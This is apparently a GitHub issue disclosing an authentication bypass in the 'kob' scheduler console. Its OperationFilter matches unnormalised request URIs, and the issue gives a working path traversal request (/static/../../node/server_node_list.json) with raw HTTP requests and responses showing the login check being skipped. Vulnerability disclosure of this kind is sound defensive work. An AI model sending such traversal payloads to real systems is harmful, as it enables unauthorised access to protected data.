

[New issue](#)

# There is an Incorrect Access Control vulnerability in kob #29

[Open](#)

RacerZ-fighting opened on Mar 19 · edited by RacerZ-fighting

Edits ▾ ⋮

**Version: latest (1.0.0-SNAPSHOT)****Branch: master**

## Problem:

There is an authentication bypass vulnerability in kob. An attacker can exploit this vulnerability to access sensitive API without any authorization.

## SourceCode

1. The affected source code class is `com.ke.schedule.server.console.configuration.OperationFilter`, and the affected function is `doFilter`. In the filter code, use `request.getRequestURI()` to obtain the request path,

```
@Override no usages 赵禹光
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
    if (isExclude(((HttpServletRequest) request).getRequestURI())) {
        chain.doFilter(request, response);
        return;
    }
    // HttpSession = (HttpSession) ((HttpServletRequest) request).getSession(); // HttpSession = ((HttpServletRequest) request).getSession();
    private boolean isExclude(String path) { 1 usage 赵禹光
        for (String url : excludedURL) {
            if (matcher.match(url, path)) {
                return true;
            }
        }
        return false;
    }
}
```

and then determine whether the `url` matches `/static/**/*.*` pattern. If the condition is met, it will execute `chain.doFilter(request, response);` to bypass the Filter. Otherwise, it will block the current request and redirect to the login page.

2. The problem lies in using `request.getRequestURI()` to obtain the request path. The path obtained by this function will not parse special symbols, but will be passed on directly, so you can use `/static/../../` to bypass it.

Take the backend interface `/node/server_node_list.json` as an example. By using `/static/../../node/server_node_list.json`, it can bypass the `operationFilter`, allowing access to any node's information.

## Reproduce the vulnerability

Accessing `http://127.0.0.1:8669/node/server_node_list.json` directly will result in redirecting to an admin login page.

Request

PrettyRawHex\n

1 GET /node/server\_node\_list.json HTTP/1.1  
2 User-Agent: Apifox/1.0.0 (https://apifox.com)  
3 Accept: \*/\*  
4 Host: 127.0.0.1:8669  
5 Accept-Encoding: gzip, deflate  
6 Connection: close  
7 Cookie: JSESSIONID=64B3063E5118BE941996A1A696380EAC  
8  
9

Response

PrettyRawHexRender\n

1 HTTP/1.1 302  
2 Set-Cookie: JSESSIONID=69EAA1D27FBD0CF1DAFB4A88F8EE66B6; Path=/; HttpOnly  
3 Location: http://127.0.0.1:8669/index.htm  
4 Content-Length: 0  
5 Date: Wed, 19 Mar 2025 05:35:53 GMT  
6 Connection: close  
7  
8

However, accessing `http://127.0.0.1:8669/static/../../node/server_node_list.json` will bypass the authentication check and access to any user's information.

Request

PrettyRawHex\n

1 GET /static/../../node/server\_node\_list.json HTTP/1.1  
2 User-Agent: Apifox/1.0.0 (https://apifox.com)  
3 Accept: \*/\*  
4 Host: 127.0.0.1:8669  
5 Accept-Encoding: gzip, deflate  
6 Connection: close  
7 Cookie: JSESSIONID=64B3063E5118BE941996A1A696380EAC  
8  
9

Response

PrettyRawHexRender\n

1 HTTP/1.1 200  
2 Content-Type: application/json;charset=UTF-8  
3 Date: Wed, 19 Mar 2025 05:36:47 GMT  
4 Connection: close  
5 Content-Length: 67  
6  
7 {  
 "success":true,  
 "message":null,  
 "results":0,  
 "rows":[]  
 },  
 "others":null  
}

Sign up for free

 to join this conversation on GitHub. Already have an account? [Sign in to comment](#)

### Assignees

No one assigned

### Labels

No labels

### Type

No type

### Projects

No projects

**Milestone**

No milestone

**Relationships**

None yet

**Development**

 Code with Copilot Agent Mode

▼

No branches or pull requests

**Participants**

